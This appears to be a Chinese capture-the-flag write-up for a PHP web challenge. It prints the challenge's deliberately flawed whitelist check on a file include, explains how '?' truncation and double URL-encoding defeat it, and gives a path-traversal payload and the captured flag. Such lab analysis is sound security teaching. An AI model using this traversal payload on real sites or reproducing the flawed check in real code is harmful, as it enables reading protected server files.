打开页面,是一个滑稽脸图片。
查看页面源代码:
看到source.php的提示,于是在url链接后面加上访问得到源码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />";
}
?>
代码审计
先看最下面的文件包含(满足三个条件就会包含我们传进去的file,否则输出这个滑稽脸表情包):
- file不为空
- file是一个字符串
- file要过得了emmm这个类里的checkfile函数
再来分析checkfile函数:
- 定义了一个白名单:source.php,hint.php
- 判断:如果$page为空或不是字符串,显示“you can't see it",并返回false
- 判断:如果$page在白名单里,返回true
- mb_substr()可以对汉字进行截取,echo mb_substr("孟优秀努力变优秀",0,3) //输出:孟优秀
mb_strpos()查找字符串在另一个字符串中首次出现的位置,考虑到page有参数的情况,$_page是取出 $page 问号前的东西,然后再判断 $_page是否在白名单里,若存在则返回true; - 如果上一步判断失败,则又考虑了url编码的问题,因为url在传入以后服务器会自动进行一次解码。因此传入二次编码后的内容,就可以使checkfile返回true
看到有一个白名单,里面有hint.php,访问一下看看:
最终:
file=hint.php?../../../../../../../../ffffllllaaaagggg
得到flag{4c866985-a5fe-4b10-ae86-5706f829c89d}